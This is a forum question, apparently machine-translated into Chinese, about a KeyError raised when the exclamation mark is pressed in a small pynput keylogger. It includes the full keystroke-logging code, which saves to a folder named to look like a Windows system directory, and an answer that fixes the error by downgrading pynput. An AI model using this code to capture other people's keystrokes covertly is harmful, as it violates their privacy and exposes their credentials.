2017-08-30 117 views
0

我試圖用pynput製作一個小鍵盤記錄器。pynput合併感嘆號

這是我的代碼:

from pynput.keyboard import Key, Listener 
import os 
import logging 

log_dir = "C:\WindowsLogs\dist" 
filename = "logging" 
logging.basicConfig(filename=(log_dir + filename), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 

一切正常,它也確實節省每一個關鍵。但是,當感嘆號被按下時,它會得到該錯誤:

Traceback (most recent call last): 
File "test2.py", line 16, in <module> 
listener.join() 

File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 185, in join 
six.reraise(exc_type, exc_value, exc_traceback) 

File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 140, in inner 
return f(self, *args, **kwargs) 

File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 232, in _process 
key = self._event_to_key(msg, vk) 

File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 265, in _event_to_key 
msg in self._PRESS_MESSAGES)) 

File "C:\Python27\lib\site-packages\pynput\keyboard\_base.py", line 49, in __init__ 
'COMBINING ' + unicodedata.name(self.char)) 

KeyError: "undefined character name 'COMBINING EXCLAMATION MARK'" 

代碼有什麼問題?那是什麼意思?

+0

這是您的代碼的一部分,但不運行。製作[mcve]幷包含完整的回溯信息,以便我們知道哪條線路導致了錯誤。 –

+0

向我們展示瞭如何印刷按鍵。我認爲 !是一個特殊的按照pynput –

+0

感謝您的建議。這是我正在運行的代碼。我還添加了整個錯誤消息。我希望你現在可以更好地使用它。 –

回答

0

我懂了!這是pynput中的一個錯誤。安裝了一箇舊版本,現在它完美的工作!